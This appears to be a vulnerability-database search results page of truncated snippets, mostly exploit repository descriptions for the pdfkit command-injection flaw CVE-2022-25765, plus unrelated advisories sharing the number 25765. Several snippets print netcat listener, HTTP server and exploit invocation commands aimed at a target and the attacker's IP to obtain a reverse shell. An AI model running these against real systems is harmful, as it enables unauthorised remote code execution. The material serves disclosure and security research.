44 matches found
PDFkit-CMD-Injection
PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 root@kitploit: python3 -m http.server 80 启动一个 netcat 监听器 root@kitploit: nc -nlvp 4444 使用 CURL 发送请求 root@kitploit: curl...
exploit-CVE-2022-25765
Exploit para CVE-2022-25765 pdfkit - Inyección de Comandos ¿Te gusta este repositorio? ¡Danos una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del Exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la Vulnerabilidad El paquete pdfkit desde 0.0.0 es...
CVE-2022-25765
CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: root@kitploit: nc -lvnp 4444 2. エクスプロイトを実行します: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: root@kitploit: python cve-2022-25765.py -t...
CVE-2022-25765
CVE-2022-25765 — pdfkit CVE-2022-25765 的 PoC，影响存在漏洞的 pdfkit 版本。 已在 pdfkit 0.8.6 上测试。 环境要求 Python 3.x requests colorama 安装依赖： root@kitploit: pip3 install -r requirements.txt 或手动安装： root@kitploit: pip3 install requests colorama 使用方法 root@kitploit: python3 exploit2.py -u -l -p 示例： 启动监听器 root@kitploi...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 における CVE-2022-25765 コマンドインジェクションのエクスプロイト 脆弱性の詳細はこちらをご覧ください PoC ホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 1337 エクスプロイトを実行（例）: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 root@kitploit: 1- python3 -m http.server 80 netcat リスナーの起動 root@kitploit: 2- nc -lnvp 'Target Port' リクエストの送信 root@kitploit: 3- http://"TARGETADDRESS:Target...
CVE-2022-25765
CVE-2022-25765 PoC for Blind RCE for CVE-2022-25765 Tested in HTB - Precious Machine...
CLEANSTART-2026-PE72277 Security fixes in logstash-fips 9.3.0-r2
Package logstash-fips version 9.3.0-r2 fixes 2 vulnerabilities: CVE-2026-25765, ghsa-33mh-2634-fwr2...
Exploit for CVE-2022-25765
CVE-2022-25765 — Command Injection in pdfkit Descripción...
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2. A patched version of the package is available...
Security Bulletin: Multiple vulnerabilities in IBM Aspera Orchestrator
Summary Multiple vulnerabilities were addressed in IBM Aspera Orchestrator 4.1.3 Vulnerability Details CVEID:CVE-2025-13213 DESCRIPTION: IBM Aspera Orchestrator is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: kube-logging-operator, logstash, cinc-auditor, kube-fluentd-operator...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: kube-logging-operator, cinc-auditor, kube-fluentd-operator, gitlab-rails-ce, gitlab-rails-ce-fips, gitlab-cng, logstash...
Photon OS 5.0: Rubygem PHSA-2026-5.0-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
CVE-2026-25765
creationtimestamp| type| source ---|---|--- 2026-02-09 21:10:05+00:00| seen| https://gist.github.com/alon710/cacea6a42bc4c1130907055ca55331a4 2026-05-18 15:58:50+00:00| seen| https://t.me/poxek/6119...
CVE-2026-25765
CVE-2026-25765 affects Faraday (an HTTP client abstraction). The vulnerability arises in build_exclusive_url (lib/faraday/connection.rb) which uses URI#merge; protocol-relative URLs (e.g., //evil.com/…) override the base URL’s host, enabling potential SSRF if user-controlled input is passed to ge...
CVE-2024-25765
creationtimestamp| type| source ---|---|--- 2025-09-01 21:00:04+00:00| published-proof-of-concept| Telegram/nfGTp2xTn4QGBhVuPNna78NmZEMmW41bwCC35jvxvcYjBw...
CVE-2025-25765
creationtimestamp| type| source ---|---|--- 2025-02-21 18:18:48+00:00| seen| https://t.me/DarkWebInformerCVEAlerts/4935 2025-02-21 19:46:36+00:00| seen| https://t.me/cvedetector/18666...
